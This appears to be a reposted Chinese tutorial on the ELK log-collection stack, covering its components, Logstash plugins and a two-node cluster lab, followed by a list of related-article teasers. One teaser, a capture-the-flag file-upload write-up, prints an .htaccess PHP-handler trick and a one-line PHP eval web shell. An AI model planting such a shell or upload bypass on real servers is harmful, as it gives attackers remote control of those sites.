ELK日志收集系统（四十九）

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档

目录

前言

一、概述

二、组件

1. elasticsearch

2. logstash

2.1 工作过程

2.2 INPUT

2.3  FILETER

2.4  OUTPUTS

3. kibana

三、架构类型

3.1 ELK

3.2 ELKK

3.3 ELFK

3.5 EFK

四、案例

前言

ELK日志收集系统是一种常用的开源系统，由三个主要组件组成：Elasticsearch、Logstash和Kibana。

  • Elasticsearch是一个基于Lucene的分布式搜索和分析引擎，用于存储和索引大量数据。它能够快速地搜索和分析大规模的日志数据，并支持实时的数据查询和聚合分析。

  • Logstash是一个用于数据收集、处理和传输的工具。它能够从各种来源（如文件、数据库、消息队列等）收集日志数据，并对其进行过滤、转换和标准化处理，然后将数据发送给Elasticsearch进行存储和索引。

  • Kibana是一个用于数据可视化和分析的工具。它提供了用户友好的界面，可以通过图表、表格、仪表盘等方式展示和分析存储在Elasticsearch中的日志数据。用户可以使用Kibana进行数据查询、聚合、筛选和导出，并可以自定义仪表盘和报告。

ELK日志收集系统能够帮助企业集中收集、存储和分析各种类型的日志数据，提供实时的监控、诊断和故障排查能力，帮助提高系统的稳定性和性能。它还支持可扩展性和高可用性，并提供了丰富的插件和扩展机制，可以与其他工具和系统集成。

提示：以下是本篇文章正文内容，下面案例可供参考

一、概述

ELK由三个组件构成
    作用
        日志收集
        日志分析
        日志可视化
    为什么使用？
        日志对于分析系统、应用的状态十分重要，但一般日志的量会比较大，并且比较分散。
        如果管理的服务器或者程序比较少的情况我们还可以逐一登录到各个服务器去查看、分析。但如果服务器或者程序的数量比较多了之后这种方法就显得力不从心。基于此，一些集中式的日志系统也就应用而生。目前比较有名成熟的有，Splunk(商业)、FaceBook 的Scribe、Apache的Chukwa Cloudera的Fluentd、还有ELK等等。

二、组件

1. elasticsearch

日志分析
    开源的日志收集、分析、存储程序
    特点
        分布式
        零配置
        自动发现
        索引自动分片
        索引副本机制
        Restful风格接口
        多数据源
        自动搜索负载

2. logstash

日志收集
 搜集、分析、过滤日志的工具

2.1 工作过程

一般工作方式为c/s架构，Client端安装在需要收集日志的服务器上，Server端负责将收到的各节点日志进行过滤、修改等操作，再一并发往Elasticsearch上去
        Inputs → Filters → Outputs
        输入-->过滤-->输出

2.2 INPUT

File：从文件系统的文件中读取，类似于tail -f命令

Syslog：在514端口上监听系统日志消息，并根据RFC3164标准进行解析

（要使用 Logstash 从 Syslog 中读取数据，您可以按照以下步骤进行配置：

   1. 创建 Logstash 配置文件：使用任意文本编辑器创建一个新的配置文件（例如 `syslog.conf`）。

   2. 配置 Syslog 输入插件：在配置文件中添加以下内容，以配置 Logstash 从 Syslog 中读取数据：

   ```yaml
   input {
     syslog {
       port => 514  # Syslog 默认的监听端口号为 514，请根据实际情况进行修改
       type => "syslog"
     }
   }
   ```

   这将配置 Logstash 使用 Syslog 输入插件监听默认的 Syslog 端口号（514），并使用 "syslog" 类型标记这些事件。

   3. 可选的过滤器和输出配置：根据您的需求，您可以添加额外的过滤器或输出插件来处理从 Syslog 读取的数据。根据您的具体需求进行相应的配置。

   4. 启动 Logstash：导航到 Logstash 的安装目录，并运行以下命令以启动 Logstash 并加载 Syslog 配置：

   ```bash
   bin/logstash -f path/to/syslog.conf
   ```

   请确保将 `path/to/syslog.conf` 替换为实际的配置文件路径。

启动 Logstash 后，它将监听来自 Syslog 的数据并进行处理。请确保 Logstash 能够接收 Syslog 数据，并且防火墙或网络配置允许 Logstash 与 Syslog 进行通信。如果您使用的是默认端口 514，请确保没有其他服务占用该端口。如有需要，可以修改 Logstash 配置文件中的端口设置来与 Syslog 配置一致。）

Redis：从redis service中读取（要使用Logstash从Redis中读取数据，您可以按照以下步骤设置Logstash配置：

   1. 安装Logstash和Redis插件：首先，确保已在系统上安装了Logstash，并在Logstash的安装目录 下运行以下命令安装Redis插件：

   ```
   bin/logstash-plugin install logstash-input-redis
   ```

   2. 创建Logstash配置文件：创建一个新的配置文件（例如`redis.conf`），并使用任意文本编辑器打开。

    3. 配置Redis输入插件：在配置文件中添加以下内容，以配置Logstash从Redis中读取数据：

   ```
   input {
     redis {
       host => "localhost"   # Redis主机地址，根据您的配置进行更改
       port => 6379          # Redis端口，根据您的配置进行更改
       data_type => "list"   # Redis数据类型，例如list、channel、pattern等
       key => "your_key"     # Redis数据键名，根据您的配置进行更改
     }
   }
   ```

   注意，这只是一个基本的配置示例，请根据您的Redis主机地址、端口、数据类型和键名进行相应的更改。

     4. 配置Logstash输出：根据您的需求，您可以添加其他输出插件（如Elasticsearch、文件输出）
Beats：从filebeat中读取（要使 Logstash 从其他主机的 Filebeat 读取数据，您需要进行以下配置：

1. 在 Filebeat 上配置 Logstash 输出：编辑 Filebeat 的配置文件（通常是 `filebeat.yml`）并添加 Logstash 输出的配置。确保将 `output.logstash.hosts` 设置为 Logstash 主机的 IP 地址或主机名，如下所示：

   ```yaml
   output.logstash:
     hosts: ["logstash_host:5044"]
   ```

   将 `logstash_host` 替换为实际的 Logstash 主机地址。确保配置中的端口号 `5044` 与 Logstash 监听的端口一致。

2. 在 Logstash 上配置 Filebeat 输入：创建一个新的 Logstash 配置文件（例如 `filebeat.conf`），并使用文本编辑器打开。在配置文件中添加以下内容：

   ```yaml
   input {
     beats {
       port => 5044 # 设置 Logstash 监听的端口与 Filebeat 配置中一致
     }
   }
   ```

   这将指示 Logstash 监听 Filebeat 发送的数据。

3. 可选的过滤器和输出配置：根据您的需求，您可以添加额外的过滤器或输出插件来处理从 Filebeat 读取的数据。根据您的具体需求进行相应的配置。

4. 启动 Logstash：导航到 Logstash 的安装目录并运行以下命令以启动 Logstash 并加载 Filebeat 配置：

   ```bash
   bin/logstash -f path/to/filebeat.conf
   ```

   请确保将 `path/to/filebeat.conf` 替换为实际的配置文件路径。

启动 Logstash 后，它将监听来自其他主机上 Filebeat 的数据，并根据配置进行处理。请确保 Logstash 能够访问其他主机上的 Filebeat，并且防火墙或网络配置允许 Logstash 与 Filebeat 进行通信）

2.3  FILETER

Grok：解析任意文本数据，Grok 是 Logstash 最重要的插件。它的主要作用就是将文本格式的字符串，转换成为具体的结构化的数据，配合正则表达式使用。
        　　官方提供的grok表达式：logstash-patterns-core/patterns at main · logstash-plugins/logstash-patterns-core · GitHub
        　　Grok在线调试：Grok Debugger
        　　Mutate：对字段进行转换。例如对字段进行删除、替换、修改、重命名等。
        　　Drop：丢弃一部分Events不进行处理。
        　　Clone：拷贝Event，这个过程中也可以添加或移除字段。
        　　Geoip：添加地理信息(为前台kibana图形化展示使用)

2.4  OUTPUTS

               Elasticsearch：可以高效的保存数据，并且能够方便和简单的进行查询。
        　　File：将Event数据保存到文件中。
        　　Graphite：将Event数据发送到图形化组件中，踏实一个当前较流行的开源存储图形化展示的组件。

3. kibana

日志可视化
        Grafana
    为Logstash和ElasticSearch在收集、存储的日志基础上进行分析时友好的Web界面，可以帮助汇总、分析和搜索重要数据日志。

三、架构类型

3.1 ELK

        es
        logstash
        kibana

3.2 ELKK

        es
        logstash
        kafka
        kibana

3.3 ELFK

        es
        logstash   重量级
                        占用系统资源较多
        filebeat    轻量级
                       占用系统资源较少
        kibana

3.4 ELFKK

        es
        logstash
        filebeat
        kafka
        kibana

3.5 EFK

        es
        logstash
        fluentd
        kafka
        kibana

四、案例

ELK日志收集系统集群实验

1.实验拓扑

2. 环境配置

设置各个主机的IP地址为拓扑中的静态IP，在两个节点中修改主机名为node1和node2并设置hosts文件

node1：

hostnamectl set-hostname node1

vim /etc/hosts

192.168.156.11  node1

192.168.156.12  node2

node2：

hostnamectl set-hostname node2

vim /etc/hosts

192.168.156.11  node1

192.168.156.12  node2

3.  安装node1与node2节点的elasticsearch

安装

 rpm -ivh elasticsearch-5.5.0.rpm

配置

node1：

vim /etc/elasticsearch/elasticsearch.yml

cluster.name:my-elk-cluster  //集群名称   

node.name:node1 //节点名字

path.data:/var/lib/elasticsearch  //数据存放路径

path.logs： /var/log/elasticsearch/  //日志存放路径

bootstrap.memory_lock:false //在启动的时候不锁定内存

network.host:192.168.56.11  //提供服务绑定的IP地址，0.0.0.0代表所有地址

http.port:9200 //侦听端口为9200

discovery.zen.ping.unicast.hosts：【"node1"，"node2"】 //群集发现通过单播实现

node2：

vim /etc/elasticsearch/elasticsearch.yml

cluster.name:my-elk-cluster  //集群名称   

node.name:node2 //节点名字

path.data:/var/lib/elasticsearch  //数据存放路径

path.logs： /var/log/elasticsearch/  //日志存放路径

bootstrap.memory_lock:false //在启动的时候不锁定内存

network.host:192.168.156.12  //提供服务绑定的IP地址，0.0.0.0代表所有地址

http.port:9200 //侦听端口为9200

discovery.zen.ping.unicast.hosts：【"node1"，"node2"】 //群集发现通过单播实现

启动elasticsearch服务

node1和node2

systemctl start elasticsearch

查看节点信息

http://192.168.156.11:9200

http://192.168.156.12:9200

查看集群健康状态：

http://192.168.115.3:9200/_cluster/health

Green 健康   yellow  警告    red  集群不可用，严重错误

4. 在node1安装elasticsearch-head插件

tar xf node-v8.2.1.tar.gz

cd node-v8.2.1

./configure && make && make install

等待安装完毕。

安装完毕后会生成命令：npm

拷贝命令

tar xf phantomjs-2.1.1-linux-x86_64.tar.bz2

cd phantomjs-2.1.1-linux-x86_64/bin

cp phantomjs  /usr/local/bin

安装elasticsearch-head

tar xf elasticsearch-head.tar.gz

cd elasticsearch-head

npm install

修改elasticsearch配置文件

vim /etc/elasticsearch/elasticsearch.yml

添加   http.cors.enabled: true  //开启跨域访问支持，默认为false

          http.cors.allow-origin: "*"  //跨域访问允许的域名地址

启动elasticsearch-head

cd elasticsearch-head

npm run start &

查看监听： netstat -anput | grep :9100

访问：

http://192.168.156.11:9100

测试

在node1的终端中输入：

curl  -XPUT  'localhost:9200/index-demo/test/1?pretty&pretty' -H  'Content-Type: application/json' -d '{"user":"zhangsan","mesg":"hello world"}'

刷新浏览器可以看到对应信息即可

node1服务器安装logstash

rpm -ivh logstash-5.5.1.rpm

systemctl start logstash.service

In -s /usr/share/logstash/bin/logstash  /usr/local/bin/

测试1： 标准输入与输出

logstash -e 'input{ stdin{} }output { stdout{} }'

测试2： 使用rubydebug解码

logstash -e 'input { stdin{} } output { stdout{ codec=>rubydebug }}'

测试3：输出到elasticsearch

  查看结果：

http://192.168.156.11:9100

logstash日志收集文件格式

Logstash配置文件基本由三部分组成：input、output以及 filter（根据需要）。标准的配置文件格式如下：

input (...)  输入

filter {...}   过滤

output {...}  输出

在每个部分中，也可以指定多个访问方式。例如，若要指定两个日志来源文件，则格式如下：

input {

file{path =>"/var/log/messages" type =>"syslog"}

file { path =>"/var/log/apache/access.log"  type =>"apache"}

}

案例：通过logstash收集系统信息日志

chmod o+r /var/log/messages

vim /etc/logstash/conf.d/system.conf

    input {

    file{

    path =>"/var/log/messages" 

    type => "system"

    start_position => "beginning"

    }

    }

    output {

    elasticsearch{

    hosts =>["192.168.1.1:9200"]

    index => "system-%{+YYYY.MM.dd}"

    }

    }

重启日志服务： systemctl restart logstash

查看日志： http://192.168.156.11:9100

node1节点安装kibana

rpm -ivh kibana-5.5.1-x86_64.rpm

配置kibana

vim /etc/kibana/kibana.yml

server.port：5601  //Kibana打开的端口

server.host："0.0.0.0" //Kibana侦听的地址

elasticsearch.url： "http：//192.168.8.134:9200"  

//和Elasticsearch 建立连接

kibana.index：".kibana"  //在Elasticsearch中添加.kibana索引

启动kibana

systemctl start kibana

访问kibana :

http://192.168.156.11:5601

首次访问需要添加索引，我们添加前面已经添加过的索引：system-*

企业案例：

收集httpd访问日志信息

在httpd服务器上安装logstash，参数上述安装过程，可以不进行测试

logstash在httpd服务器上作为agent（代理），不需要启动

编写httpd日志收集配置文件

vim /etc/logstash/conf.d/httpd.conf

input {

file{

path=>"/var/log/httpd/access_log" //收集Apache访问日志

type => "access" //类型指定为 access

start_position => "beginning" //从开始处收集

}

output{

elasticsearch {

hosts =>["192.168.156.11:9200"] // elasticsearch 监听地址及端口

index =>"httpd_access-%{+YYYY.MM.dd}" //指定索引格式

}

}

使用logstash命令导入配置：

logstash -f  /etc/logstash/conf.d/httpd.conf

使用kibana查看即可！ http://192.168.156.11:5601   查看时在mangement选项卡创建索引httpd_access-*  即可！

 

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/66012.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

go语言-协程

go语言-协程

mOS结构体 每一种操作系统不同的线程信息 g给g0栈给g0协程内存中分配的地址，记录函数跳转信息， 单线程循环 0.x版本 1.0版本 多线程循环 操作系统并不知道Goroutine的存在 操作系统线程执行一个调度循环，顺序执行Goroutine 调度循环非常…
阅读更多...
vue Cesium接入在线地图

vue Cesium接入在线地图

Cesium接入在线地图只需在创建时将imageryProvider属性换为在线地图的地址即可。 目录 天地图 OSM地图 ArcGIS 地图 谷歌影像地图 天地图 //矢量服务let imageryProvider new Cesium.WebMapTileServiceImageryProvider({url: "http://t0.tianditu.com/vec_w/wmts?s…
阅读更多...
大数据组件-Flume集群环境的启动与验证

大数据组件-Flume集群环境的启动与验证

🥇🥇【大数据学习记录篇】-持续更新中~🥇🥇 个人主页：beixi 本文章收录于专栏（点击传送）：【大数据学习】 💓💓持续更新中，感谢各位前辈朋友们支持…
阅读更多...
【python爬虫】中央气象局预报—静态网页图像爬取练习

【python爬虫】中央气象局预报—静态网页图像爬取练习

静态网页爬取练习 中央气象局预报简介前期准备步骤Python爬取每日预报结果—以降水为例 中央气象局预报简介 中央气象台是中国气象局（中央气象台）发布的七天降水预报页面。这个页面提供了未来一周内各地区的降水预报情况，帮助人们了解即将到来…
阅读更多...
如何高效地设计测试用例并评审

如何高效地设计测试用例并评审

编写出好的测试用例是每一个测试工程师的职责，但在实际工作中大家写的测试用例往往需要不断地修改才能使用，这不仅浪费了时间，还容易让测试工程师产生自我否定的情绪，甚至在团队中产生各种矛盾。 那如何高效地设计测试用例呢&…
阅读更多...
【pyqt5界面化工具开发-14】初始牛刀-登录工具

【pyqt5界面化工具开发-14】初始牛刀-登录工具

目录 0x00 前言： 一、准备好ui的加载 二、获取对应的触发事件 三、触发事件绑定 三、输入内容的调用 三、完善登录逻辑 0x00 前言： 在逻辑代码的处理添加数据包的请求，返回数据包的判断，就可以完整实现登录检测的一个界面化…
阅读更多...
Android.mk开发模板

Android.mk开发模板

今天简单写了一个 Android.mk 的示例模板，供初学者参考。 本模板主要给大家示例 Android NDK 开发中的如下几个问题： 如何自动添加需要编译的源文件列表如何添加第三方静态库、动态库的依赖如何构造一个完整的NDK工程框架 假设我们的项目依赖 libmath.…
阅读更多...
JavaScript原型链污染

JavaScript原型链污染

前言 在浏览某个论坛的时候，第一次看到了JavaScript原型链污染漏洞。当时非常的好奇，当时我一直以为js作为一种前端语言，就算存在漏洞也是针对前端，不会危害到后端，因此我以为这种漏洞危害应该不大。可当我看到他的漏…
阅读更多...
简明易懂：Python中的分支与循环

简明易懂：Python中的分支与循环

文章目录 前言分支结构if 语句：单一条件判断else语句：提供备选方案elif 语句：多条件判断嵌套的分支结构：复杂条件逻辑 循环结构for循环：遍历序列range()函数与for循环while循环：条件重复循环控制&#xff1…
阅读更多...
GA遗传算法

GA遗传算法

储备知识 GA算法主要解决数学模型中最优化的搜索算法，是进化算法中的一种，基因算法借鉴了自然界基因的遗传的主要现象，分别为遗传，变异，自然选择，杂交等。 GA算法参数 GA算法的参数如下所示。 种群规模…
阅读更多...
剑指 Offer 62. 圆圈中最后剩下的数字（简单）

剑指 Offer 62. 圆圈中最后剩下的数字（简单）

题目&#xff1a; class Solution { public:int lastRemaining(int n, int m) {int pos 0;for(int i2;i<n;i){pos (posm)%i;}return pos;} };作者&#xff1a;想吃火锅的木易 链接&#xff1a;详细题解 来源&#xff1a;力扣&#xff08;LeetCode&#xff09;
阅读更多...
ssh常用操作

ssh常用操作

ssh常用操作 SSH是一种安全协议&#xff0c;ssh是该协议的客户端程序&#xff0c;openssh-server则是该协议的服务端程序 常用系统都自带了ssh客户端程序&#xff0c;服务端程序则可能要安装 密码远程登陆 前提&#xff1a;服务器安装了openssh-server&#xff0c;未安装时…
阅读更多...
安装bpftrace和bcc的踩坑记录

安装bpftrace和bcc的踩坑记录

最后在Ubuntu22.04使用Ubuntu提供的安装命令完成了安装。这里是记录尝试在Ubuntu18.04和Ubuntu22.04使用源码安装未果的过程。 文章目录 22版本安装bcc准备工具安装命令使用报错&#xff1a;iovisor封装的安装方式ubuntu的安装方式 For Bionic (18.04 LTS)官方提供的源码安装准…
阅读更多...
Tutorial: Mathmatical Derivation of Backpropagation

Tutorial: Mathmatical Derivation of Backpropagation

目录 1. 概要 2. Gradient Descent 3. Chain rule 3.1 单变量基本链式法则 3.2 单变量全微分链式法则 3.3 小贴士&#xff1a;微分、导数、导函数是什么关系&#xff1f; 4. What and why backpropagation? 5. Backpropagation for a simple neural network 5.1 基于…
阅读更多...
哪些存储设备的数据需要注意，防止误删除或者格式化丢失？

哪些存储设备的数据需要注意，防止误删除或者格式化丢失？

以下是一些存储设备的数据要注意&#xff0c;防止误删除或者格式化丢失&#xff1a; 1.硬盘&#xff1a;存储重要数据时要备份&#xff0c;避免硬盘故障、误格式化等情况导致数据丢失。 2.USB闪存驱动器&#xff1a;在拔出USB闪存驱动器前&#xff0c;应该先进行“安全删除”…
阅读更多...
Jmeter(三十一)：制造大批量的用户数据数据

Jmeter(三十一)：制造大批量的用户数据数据

需求&#xff1a;因测试需要&#xff0c;要造100w用户数据&#xff0c;通过用户名、手机号、密码可新增用户&#xff0c;其中用户名和电话号码要求100w用户不能重复 要点&#xff1a; 1、通过Bean shell Sampler实现用户名和手机号的足够随机。 符合我们常用规则的手机号&#…
阅读更多...
element侧边栏子路由点击不高亮问题

element侧边栏子路由点击不高亮问题

最近自己封装侧边栏 又碰到了点击子路由不高亮的问题 <template><div class"aside"><el-scrollbar :vertical"true" class"scrollbar_left_nav"><el-menu :default-active"defaultActive" :collapse"$stor…
阅读更多...
CTFhub-文件上传-.htaccess

CTFhub-文件上传-.htaccess

首先上传 .htaccess 的文件 .htaccess SetHandler application/x-httpd-php 这段内容的作用是使所有的文件都会被解析为php文件 然后上传1.jpg 的文件 内容为一句话木马 1.jpg <?php echo "PHP Loaded"; eval($_POST[a]); ?> 用蚁剑连接 http://ch…
阅读更多...
遗传算法决策变量降维的matlab实现

遗传算法决策变量降维的matlab实现

1.案例背景 1.1遗传算法概述 遗传算法是模拟达尔文生物进化论的自然选择和遗传学机理的生物进化过程的计算模型,是一种通过模拟自然进化过程搜索最优解的方法。它最初由美国Michigan大学的J. Holland教授提出,1967年, Holland 教授的学生 Bagley在其博士论文中首次提出了“遗传…
阅读更多...
利用frps搭建本地自签名https服务的透传

利用frps搭建本地自签名https服务的透传

nginx的搭建就不介绍了&#xff0c;教程很多&#xff0c;基本上油手就会。 在本例中&#xff0c;frp服务器的域名是 www.yourfrp.com&#xff0c;同时也是反向代理nginx服务器; 本地网站要用的域名&#xff1a; test.abcd.com 请事先将 test.abcd.com 解析到 frp所在服务器…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023